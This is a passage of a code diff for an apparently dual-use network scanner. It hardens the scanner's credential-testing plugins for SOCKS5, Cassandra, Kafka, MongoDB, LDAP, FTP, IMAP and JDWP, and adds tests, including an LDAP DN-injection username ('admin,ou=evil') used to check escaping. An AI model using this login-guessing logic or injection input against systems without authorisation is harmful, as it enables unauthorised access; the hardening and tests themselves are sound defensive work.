i18n.GetText("domain_length_invalid")) + } + targetHost = string(addr[:domainLen]) + targetPort = int(addr[domainLen])<<8 + int(addr[domainLen+1]) case 0x04: // IPv6 - if n < 22 { + addr := make([]byte, 18) + if _, err := io.ReadFull(clientConn, addr); err != nil { return nil, 0, fmt.Errorf("%s", i18n.GetText("ipv6_address_invalid")) } // IPv6地址解析(简化实现) - targetHost = net.IP(buffer[4:20]).String() - targetPort = int(buffer[20])<<8 + int(buffer[21]) + targetHost = net.IP(addr[:16]).String() + targetPort = int(addr[16])<<8 + int(addr[17]) default: // 发送不支持的地址类型响应 response := []byte{0x05, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} _, _ = clientConn.Write(response) return nil, 0, fmt.Errorf(i18n.GetText("socks5_unsupported_address_type")+": %d", addrType) } + if targetPort == 0 { + return nil, 0, fmt.Errorf("%s", i18n.GetText("socks5_invalid_request")) + } // 连接目标服务器 targetAddr := net.JoinHostPort(targetHost, strconv.Itoa(int(targetPort))) @@ -276,6 +289,15 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn, session *co return targetConn, localPort, nil } +func containsByte(values []byte, target byte) bool { + for _, value := range values { + if value == target { + return true + } + } + return false +} + // relayData 双向数据转发 func (p *Socks5ProxyPlugin) relayData(clientConn, targetConn net.Conn) { done := make(chan struct{}, 2) diff --git a/plugins/local/socks5proxy_test.go b/plugins/local/socks5proxy_test.go new file mode 100644 index 0000000..e08c947 --- /dev/null +++ b/plugins/local/socks5proxy_test.go @@ -0,0 +1,94 @@ +//go:build (plugin_socks5proxy || !plugin_selective) && !no_local + +package local + +import ( + "bytes" + "io" + "net" + "testing" + "time" +) + +type socksTestConn struct { + r bytes.Reader + w bytes.Buffer +} + +func newSocksTestConn(data []byte) *socksTestConn { + return &socksTestConn{r: *bytes.NewReader(data)} +} + +func (c *socksTestConn) Read(p []byte) (int, error) { + n, err := c.r.Read(p) + if err == io.EOF && n > 0 { + return n, nil + } + return n, err +} + +func (c *socksTestConn) Write(p []byte) (int, error) { return c.w.Write(p) } +func (c *socksTestConn) Close() error { return nil } +func (c *socksTestConn) LocalAddr() net.Addr { return nil } +func (c *socksTestConn) RemoteAddr() net.Addr { return nil } +func (c *socksTestConn) SetDeadline(time.Time) error { return nil } +func (c *socksTestConn) SetReadDeadline(time.Time) error { + return nil +} +func (c *socksTestConn) SetWriteDeadline(time.Time) error { + return nil +} + +func TestSocks5HandshakeValidation(t *testing.T) { + p := NewSocks5ProxyPlugin() + + t.Run("truncated methods", func(t *testing.T) { + conn := newSocksTestConn([]byte{0x05, 0x02, 0x00}) + if err := p.handleSocks5Handshake(conn); err == nil { + t.Fatal("handleSocks5Handshake() error = nil, want truncated method list error") + } + }) + + t.Run("no no-auth method", func(t *testing.T) { + conn := newSocksTestConn([]byte{0x05, 0x01, 0x02}) + if err := p.handleSocks5Handshake(conn); err == nil { + t.Fatal("handleSocks5Handshake() error = nil, want unsupported method error") + } + if got := conn.w.Bytes(); !bytes.Equal(got, []byte{0x05, 0xff}) { + t.Fatalf("handshake response = % x, want 05 ff", got) + } + }) + + t.Run("accepts no-auth", func(t *testing.T) { + conn := newSocksTestConn([]byte{0x05, 0x02, 0x02, 0x00}) + if err := p.handleSocks5Handshake(conn); err != nil { + t.Fatalf("handleSocks5Handshake() error = %v", err) + } + if got := conn.w.Bytes(); !bytes.Equal(got, []byte{0x05, 0x00}) { + t.Fatalf("handshake response = % x, want 05 00", got) + } + }) +} + +func TestSocks5RequestRejectsMalformedInputBeforeDial(t *testing.T) { + p := NewSocks5ProxyPlugin() + + tests := []struct { + name string + req []byte + }{ + {name: "bad reserved byte", req: []byte{0x05, 0x01, 0x01, 0x01}}, + {name: "empty domain", req: []byte{0x05, 0x01, 0x00, 0x03, 0x00}}, + {name: "truncated domain", req: []byte{0x05, 0x01, 0x00, 0x03, 0x04, 't', 'e'}}, + {name: "zero ipv4 port", req: []byte{0x05, 0x01, 0x00, 0x01, 127, 0, 0, 1, 0, 0}}, + {name: "truncated ipv6", req: []byte{0x05, 0x01, 0x00, 0x04, 0x20, 0x01}}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if _, _, err := p.handleSocks5Request(newSocksTestConn(tt.req), nil); err == nil { + t.Fatal("handleSocks5Request() error = nil, want malformed request error") + } + }) + } +} diff --git a/plugins/services/activemq.go b/plugins/services/activemq.go index 34ab5f0..b1da128 100644 --- a/plugins/services/activemq.go +++ b/plugins/services/activemq.go @@ -158,6 +158,9 @@ func classifyActiveMQErrorType(err error) ErrorType { // authenticateSTOMP 使用STOMP协议认证ActiveMQ func (p *ActiveMQPlugin) authenticateSTOMP(conn net.Conn, username, password string, config *common.Config) (bool, error) { timeout := config.Timeout + if err := rejectLineBreaks(username, password); err != nil { + return false, err + } stompConnect := fmt.Sprintf("CONNECT\naccept-version:1.0,1.1,1.2\nhost:/\nlogin:%s\npasscode:%s\n\n\x00", username, password) diff --git a/plugins/services/cassandra.go b/plugins/services/cassandra.go index b17e646..545757c 100644 --- a/plugins/services/cassandra.go +++ b/plugins/services/cassandra.go @@ -74,14 +74,16 @@ func (p *CassandraPlugin) createAuthFunc(info *common.HostInfo, config *common.C // // [1B version|flags] [2B stream] [1B opcode] [4B length] [body] const ( - cqlVersion = 0x84 // version=4, direction=request - cqlOpStartup = 0x01 - cqlOpAuthRsp = 0x0f - cqlOpQuery = 0x07 - cqlOpReady = 0x02 - cqlOpAuthOk = 0x10 - cqlOpAuthChl = 0x0e - cqlOpError = 0x00 + cqlVersion = 0x84 // version=4, direction=request + cqlOpStartup = 0x01 + cqlOpAuthRsp = 0x0f + cqlOpQuery = 0x07 + cqlOpResult = 0x08 + cqlOpReady = 0x02 + cqlOpAuthOk = 0x10 + cqlOpAuthChl = 0x0e + cqlOpError = 0x00 + maxCQLFrameBody = 1024 * 1024 ) func (p *CassandraPlugin) doCassandraAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { @@ -157,8 +159,9 @@ func (p *CassandraPlugin) doCassandraAuth(ctx context.Context, info *common.Host state.IncrementTCPFailedPacketCount() return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} } - _ = body - _ = opcode + if err := validateCQLQueryResponse(opcode, body); err != nil { + return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: err} + } state.IncrementTCPSuccessPacketCount() return &AuthResult{Success: true, ErrorType: ErrorTypeUnknown, Error: nil} @@ -187,7 +190,7 @@ func cqlSend(conn net.Conn, opcode byte, body []byte) error { return err } -func cqlRecv(conn net.Conn) (byte, []byte, error) { +func cqlRecv(conn io.Reader) (byte, []byte, error) { // 读取 9 字节头部(响应也有额外标志字节) header := make([]byte, 9) if _, err := io.ReadFull(conn, header); err != nil { @@ -195,8 +198,11 @@ func cqlRecv(conn net.Conn) (byte, []byte, error) { } opcode := header[4] bodyLen := int(binary.BigEndian.Uint32(header[5:9])) - if bodyLen <= 0 || bodyLen > 1024*1024 { - return opcode, nil, nil + if bodyLen == 0 { + return opcode, []byte{}, nil + } + if bodyLen > maxCQLFrameBody { + return opcode, nil, fmt.Errorf("cassandra frame too large: %d", bodyLen) } body := make([]byte, bodyLen) if _, err := io.ReadFull(conn, body); err != nil { @@ -205,6 +211,16 @@ func cqlRecv(conn net.Conn) (byte, []byte, error) { return opcode, body, nil } +func validateCQLQueryResponse(opcode byte, body []byte) error { + if opcode == cqlOpError { + return fmt.Errorf("cassandra query failed: %s", string(body)) + } + if opcode != cqlOpResult { + return fmt.Errorf("unexpected query opcode: %d", opcode) + } + return nil +} + // cqlStringMap CQL string map 编码: [2B count] [pairs: [2B len] [str]] func cqlStringMap(m map[string]string) []byte { var buf []byte @@ -270,7 +286,7 @@ func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common. state.IncrementTCPFailedPacketCount() return nil } - opcode, _, err := cqlRecv(conn) + opcode, body, err := cqlRecv(conn) if err != nil || opcode != cqlOpReady { return nil } @@ -280,10 +296,13 @@ func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common. if err := cqlSend(conn, cqlOpQuery, queryBody); err != nil { return nil } - _, body, err := cqlRecv(conn) + opcode, body, err = cqlRecv(conn) if err != nil { return nil } + if err := validateCQLQueryResponse(opcode, body); err != nil { + return nil + } state.IncrementTCPSuccessPacketCount() dummy := extractClusterName(body) diff --git a/plugins/services/cassandra_test.go b/plugins/services/cassandra_test.go new file mode 100644 index 0000000..553ecd6 --- /dev/null +++ b/plugins/services/cassandra_test.go @@ -0,0 +1,49 @@ +//go:build plugin_cassandra || !plugin_selective + +package services + +import ( + "bytes" + "encoding/binary" + "strings" + "testing" +) + +func TestCQLRecvRejectsTooLargeFrame(t *testing.T) { + header := make([]byte, 9) + header[4] = cqlOpReady + binary.BigEndian.PutUint32(header[5:9], maxCQLFrameBody+1) + + _, _, err := cqlRecv(bytes.NewReader(header)) + if err == nil { + t.Fatal("cqlRecv() error = nil, want too-large frame error") + } + if !strings.Contains(err.Error(), "too large") { + t.Fatalf("cqlRecv() error = %v, want too large", err) + } +} + +func TestCQLRecvAllowsEmptyBody(t *testing.T) { + header := make([]byte, 9) + header[4] = cqlOpReady + + opcode, body, err := cqlRecv(bytes.NewReader(header)) + if err != nil { + t.Fatalf("cqlRecv() error = %v", err) + } + if opcode != cqlOpReady || len(body) != 0 { + t.Fatalf("cqlRecv() opcode=%d body=%q, want ready empty body", opcode, body) + } +} + +func TestValidateCQLQueryResponseRejectsErrors(t *testing.T) { + if err := validateCQLQueryResponse(cqlOpResult, []byte("rows")); err != nil { + t.Fatalf("validateCQLQueryResponse() error = %v", err) + } + if err := validateCQLQueryResponse(cqlOpError, []byte("permission denied")); err == nil { + t.Fatal("validateCQLQueryResponse() error = nil, want query error") + } + if err := validateCQLQueryResponse(cqlOpReady, nil); err == nil { + t.Fatal("validateCQLQueryResponse() error = nil, want unexpected opcode error") + } +} diff --git a/plugins/services/elasticsearch.go b/plugins/services/elasticsearch.go index 7f3b418..86f71cb 100644 --- a/plugins/services/elasticsearch.go +++ b/plugins/services/elasticsearch.go @@ -7,7 +7,6 @@ import ( "crypto/tls" "encoding/base64" "fmt" - "io" "net/http" "github.com/shadow1ng/fscan/common" @@ -107,7 +106,7 @@ func (p *ElasticsearchPlugin) testCredential(ctx context.Context, info *common.H defer func() { _ = resp.Body.Close() }() if resp.StatusCode == 200 { - body, err := io.ReadAll(resp.Body) + body, err := readServiceHTTPBody(resp.Body) if err != nil { return false } diff --git a/plugins/services/ftp.go b/plugins/services/ftp.go index 00dc343..0b85fec 100644 --- a/plugins/services/ftp.go +++ b/plugins/services/ftp.go @@ -6,6 +6,7 @@ import ( "context" "fmt" "strings" + "time" ftplib "github.com/jlaffaye/ftp" "github.com/shadow1ng/fscan/common" @@ -80,7 +81,7 @@ func (p *FTPPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, func (p *FTPPlugin) doFTPAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { target := info.Target() - conn, err := ftplib.Dial(target, ftplib.DialWithTimeout(config.Timeout)) + conn, err := ftplib.Dial(target, ftpDialOptions(ctx, config.Timeout)...) if err != nil { state.IncrementTCPFailedPacketCount() return &AuthResult{ @@ -91,6 +92,11 @@ func (p *FTPPlugin) doFTPAuth(ctx context.Context, info *common.HostInfo, cred C } state.IncrementTCPSuccessPacketCount() + stopCancelClose := context.AfterFunc(ctx, func() { + _ = conn.Quit() + }) + defer stopCancelClose() + err = conn.Login(cred.Username, cred.Password) if err != nil { _ = conn.Quit() @@ -118,6 +124,13 @@ func (w *ftpConnWrapper) Close() error { return w.Quit() } +func ftpDialOptions(ctx context.Context, timeout time.Duration) []ftplib.DialOption { + return []ftplib.DialOption{ + ftplib.DialWithTimeout(timeout), + ftplib.DialWithContext(ctx), + } +} + // classifyFTPErrorType FTP错误分类 func classifyFTPErrorType(err error) ErrorType { if err == nil { @@ -260,10 +273,7 @@ func (p *FTPPlugin) listFTPFiles(conn *ftplib.ServerConn) []string { } fileName := entry.Name - if len(fileName) > 50 { - fileName = fileName[:50] + "..." - } - files = append(files, fileName) + files = append(files, truncateRunes(fileName, 50)) } return files diff --git a/plugins/services/http_body.go b/plugins/services/http_body.go new file mode 100644 index 0000000..1b905c6 --- /dev/null +++ b/plugins/services/http_body.go @@ -0,0 +1,9 @@ +package services + +import "io" + +const maxServiceHTTPBodyBytes = 2 << 20 + +func readServiceHTTPBody(r io.Reader) ([]byte, error) { + return io.ReadAll(io.LimitReader(r, maxServiceHTTPBodyBytes)) +} diff --git a/plugins/services/http_body_test.go b/plugins/services/http_body_test.go new file mode 100644 index 0000000..8cad64c --- /dev/null +++ b/plugins/services/http_body_test.go @@ -0,0 +1,19 @@ +//go:build plugin_elasticsearch || plugin_neo4j || plugin_rabbitmq || !plugin_selective + +package services + +import ( + "strings" + "testing" +) + +func TestReadServiceHTTPBodyIsBounded(t *testing.T) { + body := strings.NewReader(strings.Repeat("a", maxServiceHTTPBodyBytes+1024)) + got, err := readServiceHTTPBody(body) + if err != nil { + t.Fatalf("readServiceHTTPBody error = %v", err) + } + if len(got) != maxServiceHTTPBodyBytes { + t.Fatalf("body len = %d, want %d", len(got), maxServiceHTTPBodyBytes) + } +} diff --git a/plugins/services/http_test_helpers_test.go b/plugins/services/http_test_helpers_test.go new file mode 100644 index 0000000..8a4ddef --- /dev/null +++ b/plugins/services/http_test_helpers_test.go @@ -0,0 +1,35 @@ +//go:build !plugin_selective || plugin_neo4j || plugin_rabbitmq + +package services + +import ( + "net" + "net/http/httptest" + "net/url" + "strconv" + "testing" + + "github.com/shadow1ng/fscan/common" +) + +func testSession() *common.ScanSession { + cfg := common.NewConfig() + return common.NewScanSession(cfg, common.NewState(), &common.FlagVars{}) +} + +func hostInfoFromServer(t *testing.T, server *httptest.Server) *common.HostInfo { + t.Helper() + u, err := url.Parse(server.URL) + if err != nil { + t.Fatalf("Parse server URL error = %v", err) + } + host, portText, err := net.SplitHostPort(u.Host) + if err != nil { + t.Fatalf("SplitHostPort error = %v", err) + } + port, err := strconv.Atoi(portText) + if err != nil { + t.Fatalf("Atoi port error = %v", err) + } + return &common.HostInfo{Host: host, Port: port} +} diff --git a/plugins/services/imap.go b/plugins/services/imap.go index 25fd2b9..758ff99 100644 --- a/plugins/services/imap.go +++ b/plugins/services/imap.go @@ -5,7 +5,6 @@ package services import ( "bufio" "context" - "fmt" "strings" "time" @@ -88,7 +87,10 @@ func (p *IMAPPlugin) tryLogin(ctx context.Context, info *common.HostInfo, cred p return nil } - loginCmd := fmt.Sprintf("a001 LOGIN %s %s\r\n", cred.Username, cred.Password) + loginCmd, err := buildIMAPLoginCommand("a001", cred.Username, cred.Password) + if err != nil { + return nil + } if _, err := conn.Write([]byte(loginCmd)); err != nil { return nil } diff --git a/plugins/services/jdwp.go b/plugins/services/jdwp.go index ba39d83..4d44e47 100644 --- a/plugins/services/jdwp.go +++ b/plugins/services/jdwp.go @@ -76,7 +76,7 @@ func (p *JDWPPlugin) getVersion(conn interface { } header := make([]byte, 11) - if _, err := conn.Read(header); err != nil { + if _, err := io.ReadFull(conn, header); err != nil { return "" } replyLen := int(header[0])<<24 | int(header[1])<<16 | int(header[2])<<8 | int(header[3]) @@ -85,7 +85,7 @@ func (p *JDWPPlugin) getVersion(conn interface { } body := make([]byte, replyLen-11) - if _, err := conn.Read(body); err != nil { + if _, err := io.ReadFull(conn, body); err != nil { return "" } @@ -101,10 +101,7 @@ func parseJDWPVersionString(data []byte) string { return "" } s := string(data[4 : 4+strLen]) - if len(s) > 200 { - s = s[:200] - } - return s + return truncateRunes(s, 200) } func init() { diff --git a/plugins/services/jdwp_test.go b/plugins/services/jdwp_test.go new file mode 100644 index 0000000..524105d --- /dev/null +++ b/plugins/services/jdwp_test.go @@ -0,0 +1,67 @@ +//go:build plugin_jdwp || !plugin_selective + +package services + +import ( + "encoding/binary" + "io" + "strings" + "testing" + "time" + "unicode/utf8" +) + +type chunkedJDWPConn struct { + data []byte + chunkSize int +} + +func (c *chunkedJDWPConn) Read(p []byte) (int, error) { + if len(c.data) == 0 { + return 0, io.EOF + } + n := c.chunkSize + if n <= 0 || n > len(c.data) { + n = len(c.data) + } + if n > len(p) { + n = len(p) + } + copy(p, c.data[:n]) + c.data = c.data[n:] + return n, nil +} + +func (c *chunkedJDWPConn) Write([]byte) (int, error) { return 0, nil } +func (c *chunkedJDWPConn) SetDeadline(time.Time) error { + return nil +} + +func TestJDWPGetVersionHandlesChunkedReads(t *testing.T) { + const version = "Java Debug Wire Protocol" + body := make([]byte, 4+len(version)) + binary.BigEndian.PutUint32(body[:4], uint32(len(version))) + copy(body[4:], version) + + reply := make([]byte, 11+len(body)) + binary.BigEndian.PutUint32(reply[:4], uint32(len(reply))) + copy(reply[11:], body) + + p := NewJDWPPlugin() + got := p.getVersion(&chunkedJDWPConn{data: reply, chunkSize: 3}, time.Second) + if got != version { + t.Fatalf("getVersion() = %q, want %q", got, version) + } +} + +func TestParseJDWPVersionStringTruncatesByRune(t *testing.T) { + version := strings.Repeat("界", 205) + body := make([]byte, 4+len(version)) + binary.BigEndian.PutUint32(body[:4], uint32(len(version))) + copy(body[4:], version) + + got := parseJDWPVersionString(body) + if !utf8.ValidString(got) || len([]rune(got)) != 203 || !strings.HasSuffix(got, "...") { + t.Fatalf("parseJDWPVersionString() = %q", got) + } +} diff --git a/plugins/services/kafka.go b/plugins/services/kafka.go index edc85ab..85719be 100644 --- a/plugins/services/kafka.go +++ b/plugins/services/kafka.go @@ -155,6 +155,8 @@ func (p *KafkaPlugin) doKafkaAuth(ctx context.Context, info *common.HostInfo, cr var kafkaCorrelationID int32 +const maxKafkaResponseSize = 1024 * 1024 + func nextKafkaCorrelationID() int32 { return atomic.AddInt32(&kafkaCorrelationID, 1) - 1 } @@ -178,23 +180,26 @@ func kafkaSend(conn net.Conn, apiKey, apiVersion int16, body []byte) error { return err } -func kafkaRecv(conn net.Conn) ([]byte, error) { +func kafkaRecv(conn io.Reader) ([]byte, error) { // 读取 4 字节长度 lenBuf := make([]byte, 4) if _, err := io.ReadFull(conn, lenBuf); err != nil { return nil, err } msgLen := int(binary.BigEndian.Uint32(lenBuf)) + if msgLen < 4 { + return nil, fmt.Errorf("invalid kafka response length: %d", msgLen) + } + if msgLen > maxKafkaResponseSize { + return nil, fmt.Errorf("kafka response too large: %d", msgLen) + } // 读取消息体 msg := make([]byte, msgLen) if _, err := io.ReadFull(conn, msg); err != nil { return nil, err } // 跳过 correlation_id (4B),返回 body - if len(msg) >= 4 { - return msg[4:], nil - } - return msg, nil + return msg[4:], nil } func kafkaString(s string) []byte { diff --git a/plugins/services/kafka_test.go b/plugins/services/kafka_test.go new file mode 100644 index 0000000..649cc73 --- /dev/null +++ b/plugins/services/kafka_test.go @@ -0,0 +1,63 @@ +//go:build plugin_kafka || !plugin_selective + +package services + +import ( + "encoding/binary" + "io" + "testing" +) + +type chunkedKafkaReader struct { + data []byte + chunkSize int +} + +func (r *chunkedKafkaReader) Read(p []byte) (int, error) { + if len(r.data) == 0 { + return 0, io.EOF + } + n := len(r.data) + if r.chunkSize > 0 && n > r.chunkSize { + n = r.chunkSize + } + if n > len(p) { + n = len(p) + } + copy(p, r.data[:n]) + r.data = r.data[n:] + return n, nil +} + +func TestKafkaRecvHandlesChunkedResponse(t *testing.T) { + packet := make([]byte, 4+6) + binary.BigEndian.PutUint32(packet[:4], 6) + binary.BigEndian.PutUint32(packet[4:8], 123) + copy(packet[8:], []byte("ok")) + + got, err := kafkaRecv(&chunkedKafkaReader{data: packet, chunkSize: 1}) + if err != nil { + t.Fatalf("kafkaRecv() error = %v", err) + } + if string(got) != "ok" { + t.Fatalf("kafkaRecv() = %q, want ok", got) + } +} + +func TestKafkaRecvRejectsTooLargeResponse(t *testing.T) { + packet := make([]byte, 4) + binary.BigEndian.PutUint32(packet, maxKafkaResponseSize+1) + + if _, err := kafkaRecv(&chunkedKafkaReader{data: packet}); err == nil { + t.Fatal("kafkaRecv() error = nil, want too-large response error") + } +} + +func TestKafkaRecvRejectsShortResponse(t *testing.T) { + packet := make([]byte, 4) + binary.BigEndian.PutUint32(packet, 3) + + if _, err := kafkaRecv(&chunkedKafkaReader{data: packet}); err == nil { + t.Fatal("kafkaRecv() error = nil, want invalid length error") + } +} diff --git a/plugins/services/ldap.go b/plugins/services/ldap.go index 0e40be8..8bbb264 100644 --- a/plugins/services/ldap.go +++ b/plugins/services/ldap.go @@ -5,6 +5,7 @@ package services import ( "context" "fmt" + "time" ldaplib "github.com/go-ldap/ldap/v3" "github.com/shadow1ng/fscan/common" @@ -78,12 +79,17 @@ func (p *LDAPPlugin) doLDAPAuth(ctx context.Context, info *common.HostInfo, cred Error: err, } } + stopCancelClose := context.AfterFunc(ctx, func() { + _ = conn.Close() + }) + defer stopCancelClose() // 尝试多种DN格式进行绑定测试 + escapedUser := ldaplib.EscapeDN(cred.Username) dnFormats := []string{ - fmt.Sprintf("cn=%s,dc=example,dc=com", cred.Username), - fmt.Sprintf("uid=%s,dc=example,dc=com", cred.Username), - fmt.Sprintf("cn=%s,ou=users,dc=example,dc=com", cred.Username), + fmt.Sprintf("cn=%s,dc=example,dc=com", escapedUser), + fmt.Sprintf("uid=%s,dc=example,dc=com", escapedUser), + fmt.Sprintf("cn=%s,ou=users,dc=example,dc=com", escapedUser), cred.Username, } @@ -171,6 +177,10 @@ func (p *LDAPPlugin) doNTLMHashAuth(ctx context.Context, info *common.HostInfo, Error: err, } } + stopCancelClose := context.AfterFunc(ctx, func() { + _ = conn.Close() + }) + defer stopCancelClose() if err := conn.NTLMBindWithHash(domain, username, hash); err == nil { return &AuthResult{ @@ -212,6 +222,7 @@ func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, ses } else { conn = ldaplib.NewConn(tcpConn, false) } + conn.SetTimeout(session.Config.Timeout) conn.Start() resultChan <- result{conn, nil} @@ -222,9 +233,15 @@ func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, ses return res.conn, res.err case <-ctx.Done(): go func() { - res := <-resultChan - if res.conn != nil { - _ = res.conn.Close() + timer := time.NewTimer(authCleanupWait()) + defer timer.Stop() + + select { + case res := <-resultChan: + if res.conn != nil { + _ = res.conn.Close() + } + case <-timer.C: } }() return nil, ctx.Err() diff --git a/plugins/services/ldap_test.go b/plugins/services/ldap_test.go new file mode 100644 index 0000000..a8d4256 --- /dev/null +++ b/plugins/services/ldap_test.go @@ -0,0 +1,30 @@ +//go:build plugin_ldap || !plugin_selective + +package services + +import ( + "fmt" + "testing" + + ldaplib "github.com/go-ldap/ldap/v3" +) + +func TestLDAPDNFormatsEscapeUsernameValue(t *testing.T) { + username := "admin,ou=evil" + escapedUser := ldaplib.EscapeDN(username) + got := []string{ + fmt.Sprintf("cn=%s,dc=example,dc=com", escapedUser), + fmt.Sprintf("uid=%s,dc=example,dc=com", escapedUser), + fmt.Sprintf("cn=%s,ou=users,dc=example,dc=com", escapedUser), + username, + } + + for _, dn := range got[:3] { + if dn == "cn=admin,ou=evil,dc=example,dc=com" || dn == "uid=admin,ou=evil,dc=example,dc=com" { + t.Fatalf("DN was not escaped: %q", dn) + } + } + if got[0] != `cn=admin\,ou=evil,dc=example,dc=com` { + t.Fatalf("escaped DN = %q", got[0]) + } +} diff --git a/plugins/services/mongodb.go b/plugins/services/mongodb.go index a7f794e..6cad724 100644 --- a/plugins/services/mongodb.go +++ b/plugins/services/mongodb.go @@ -4,12 +4,17 @@ package services import ( "context" + "crypto/hmac" + "crypto/md5" "crypto/rand" + "crypto/sha1" "encoding/base64" "encoding/binary" "fmt" "io" + "math" "net" + "strconv" "strings" "sync/atomic" "time" @@ -17,6 +22,7 @@ import ( "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/plugins" + "golang.org/x/crypto/pbkdf2" ) // MongoDBPlugin MongoDB扫描插件(纯 raw TCP 实现,无重型依赖) @@ -108,12 +114,13 @@ func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo // Step 2: saslStart SCRAM-SHA-1 nonce := randomString(24) - saslPayload := "n=" + cred.Username + ",r=" + nonce + clientFirstBare := "n=" + cred.Username + ",r=" + nonce + saslPayload := "n,," + clientFirstBare saslStartBody := mongoDoc{ "saslStart": 1, "mechanism": "SCRAM-SHA-1", - "payload": base64EncodeStr(saslPayload), + "payload": []byte(saslPayload), "autoAuthorize": 1, } saslStartCmd := buildMongoCommand("admin", saslStartBody) @@ -127,21 +134,48 @@ func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} } - // saslStart 响应检查: - // - ok:0 + code:18 → 认证失败 - // - ok:1 + conversationId + payload → 认证有效 - respStr := string(resp) - if strings.Contains(respStr, "\"ok\":0") || strings.Contains(respStr, "Authentication failed") { - return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("authentication failed")} + startReply, err := parseMongoCommandReply(resp) + if err != nil { + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} + } + if !startReply.ok { + return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("authentication failed: %s", startReply.errmsg)} + } + if !startReply.conversationSet || len(startReply.payload) == 0 { + return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("invalid saslStart response")} } - // 如果在响应中找到 conversationId,说明凭据有效 - if strings.Contains(respStr, "conversationId") { - state.IncrementTCPSuccessPacketCount() - return &AuthResult{Success: true, ErrorType: ErrorTypeUnknown, Error: nil} + serverFirst := string(startReply.payload) + clientFinal, err := buildMongoSCRAMClientFinal(cred.Username, cred.Password, clientFirstBare, serverFirst) + if err != nil { + return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: err} + } + + saslContinueBody := mongoDoc{ + "saslContinue": 1, + "conversationId": int(startReply.conversationID), + "payload": []byte(clientFinal), + } + saslContinueCmd := buildMongoCommand("admin", saslContinueBody) + if _, err := sendMongoMsg(ctx, conn, saslContinueCmd, timeout); err != nil { + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} + } + resp, err = readMongoMsg(conn, timeout) + if err != nil { + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} + } + finalReply, err := parseMongoCommandReply(resp) + if err != nil { + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} + } + if !finalReply.ok { + return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("authentication failed: %s", finalReply.errmsg)} } - // 无认证失败的明确信号 = 尝试成功 state.IncrementTCPSuccessPacketCount() return &AuthResult{Success: true, ErrorType: ErrorTypeUnknown, Error: nil} } @@ -149,9 +183,10 @@ func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo // ── MongoDB wire protocol 工具 ────────────────────────────────── const ( - opMsg uint32 = 2013 - opQuery uint32 = 2004 - opReply uint32 = 1 + opMsg uint32 = 2013 + opQuery uint32 = 2004 + opReply uint32 = 1 + maxMongoMessageBody = 1024 * 1024 ) var mongoRequestID uint32 @@ -225,7 +260,7 @@ func buildBSON(doc mongoDoc) []byte { buf = append(buf, []byte(k)...) buf = append(buf, 0x00) b := []byte(val) - buf = append(buf, byte(len(b)+1), 0, 0, 0) + buf = binary.LittleEndian.AppendUint32(buf, uint32(len(b)+1)) buf = append(buf, b...) buf = append(buf, 0x00) case int: @@ -235,13 +270,16 @@ func buildBSON(doc mongoDoc) []byte { i32 := make([]byte, 4) binary.LittleEndian.PutUint32(i32, uint32(val)) buf = append(buf, i32...) + case int64: + buf = append(buf, 0x12) // type int64 + buf = append(buf, []byte(k)...) + buf = append(buf, 0x00) + buf = binary.LittleEndian.AppendUint64(buf, uint64(val)) case float64: buf = append(buf, 0x01) // type double buf = append(buf, []byte(k)...) buf = append(buf, 0x00) - f64 := make([]byte, 8) - binary.LittleEndian.PutUint64(f64, uint64(val)) - buf = append(buf, f64...) + buf = binary.LittleEndian.AppendUint64(buf, math.Float64bits(val)) case mongoDoc: buf = append(buf, 0x03) // type document buf = append(buf, []byte(k)...) @@ -252,7 +290,7 @@ func buildBSON(doc mongoDoc) []byte { buf = append(buf, 0x05) // type binary buf = append(buf, []byte(k)...) buf = append(buf, 0x00) - buf = append(buf, byte(len(val)), 0, 0, 0) + buf = binary.LittleEndian.AppendUint32(buf, uint32(len(val))) buf = append(buf, 0x00) // subtype 0 buf = append(buf, val...) case bool: @@ -301,8 +339,11 @@ func readMongoMsg(conn io.Reader, timeout time.Duration) ([]byte, error) { } // 读取剩余 body bodyLen := int(msgLen) - 16 - if bodyLen <= 0 || bodyLen > 1024*1024 { - return nil, nil + if bodyLen == 0 { + return []byte{}, nil + } + if bodyLen > maxMongoMessageBody { + return nil, fmt.Errorf("mongodb response too large: %d", msgLen) } body := make([]byte, bodyLen) if _, err := io.ReadFull(conn, body); err != nil { @@ -316,6 +357,197 @@ func readMongoMsg(conn io.Reader, timeout time.Duration) ([]byte, error) { return body, nil } +type mongoCommandReply struct { + ok bool + conversationID int32 + conversationSet bool + payload []byte + done bool + errmsg string +} + +func parseMongoCommandReply(doc []byte) (mongoCommandReply, error) { + var reply mongoCommandReply + if len(doc) < 5 { + return reply, fmt.Errorf("short bson document") + } + docLen := int(binary.LittleEndian.Uint32(doc[:4])) + if 